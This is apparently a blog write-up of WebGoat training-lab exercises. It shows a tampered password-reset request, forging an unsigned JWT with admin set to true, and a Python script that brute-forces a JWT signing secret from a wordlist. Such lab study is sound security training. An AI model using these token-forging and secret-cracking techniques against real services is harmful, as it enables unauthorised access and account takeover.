webgoat靶场复现

1、安装 

github:发布 ·网站网格/网站网格 (github.com)

新手篇丨Web安全入门之WebGoat8.0环境搭建 - 知乎

webgoat靶场复现_第1张图片

Broken Authentication(身份验证)模块

0x02

newPassword111=aaaa&newPasswordConfirm222=aaa&userId=12309746

webgoat靶场复现_第2张图片

 

JWT tokens

0x04 Background Unverified Signature

转到 JWT 在线解密—LZL在线工具 (lzltool.cn) JWT Token在线解析解码 - ToolTT在线工具箱解码 jwt-token,然后将 admin 修改为 true 并使用以下脚本重新编码标头和有效负载,不添加签名部分,发送请求

webgoat靶场复现_第3张图片

webgoat靶场复现_第4张图片

 jwt 安全参考:
http://4hou.win/wordpress/?p=23278
https://zhuanlan.zhihu.com/p/71672282
https://segmentfault.com/a/1190000010312468

0x05 jwt blasting

参考:https://www.freebuf.com/vuls/216457.html
在线验证:https://jwt.io/#debugger

实际上,只有几个与jwt相关的问题,只需尝试一下。这是暴力破解的密钥。github上有一个c语句版本的暴力破解软件,但它似乎一次尝试一个字符,所以它非常慢。反正我没有用完几次,几乎卡住了我的电脑。因此,我们可以使用 JWT 库自己编写脚本,也可以使用 github 上提供的脚本。这个python拆除脚本是基于字典的,所以首先你必须有一个强大的字典。我的字典不够强大,不足以让我几次不拆除,所以我只是去源头并翻出一些秘密密钥添加到我的字典中,"victory","business","available", "shipping", "washington"如下所示:

Blast脚本(您需要提供自己的字典):

import termcolor
import jwt
if __name__ == "__main__":
    jwt_str = R'eyJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJhdWQiOiJ3ZWJnb2F0Lm9yZyIsImlhdCI6MTU3MjY4ODA3MSwiZXhwIjoxNTcyNjg4MTMxLCJzdWIiOiJ0b21Ad2ViZ29hdC5vcmciLCJ1c2VybmFtZSI6IlRvbSIsIkVtYWlsIjoidG9tQHdlYmdvYXQub3JnIiwiUm9sZSI6WyJNYW5hZ2VyIiwiUHJvamVjdCBBZG1pbmlzdHJhdG9yIl19.2n1lN_F-Pk8GXxw7nAneMt1C4ExfH7mVdtQF9nMKhVs'
    with open('/opt/burp/pass.txt') as f:
        for line in f:
            key_ = line.strip()
            try:
                jwt.decode(jwt_str, verify=True, key=key_)
                print('\r', '\bbingo! found key -->', termcolor.colored(key_, 'green'), '<--')
                break
            except (jwt.exceptions.ExpiredSignatureError, jwt.exceptions.InvalidAudienceError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.ImmatureSignatureError):
                print('\r', '\bbingo! found key -->', termcolor.colored(key_, 'green'), '<--')
                break
            except jwt.exceptions.InvalidSignatureError:
                print('\r', ' ' * 64, '\r\btry', key_, end='', flush=True)
                continue
        else:
            print('\r', '\bsorry! no key be found.')

解密打不开 以后在做

参考:

Java代码审计入门:WebGoat8(再会) - FreeBuf网络安全行业门户

 

 

你可能感兴趣的:(servlet)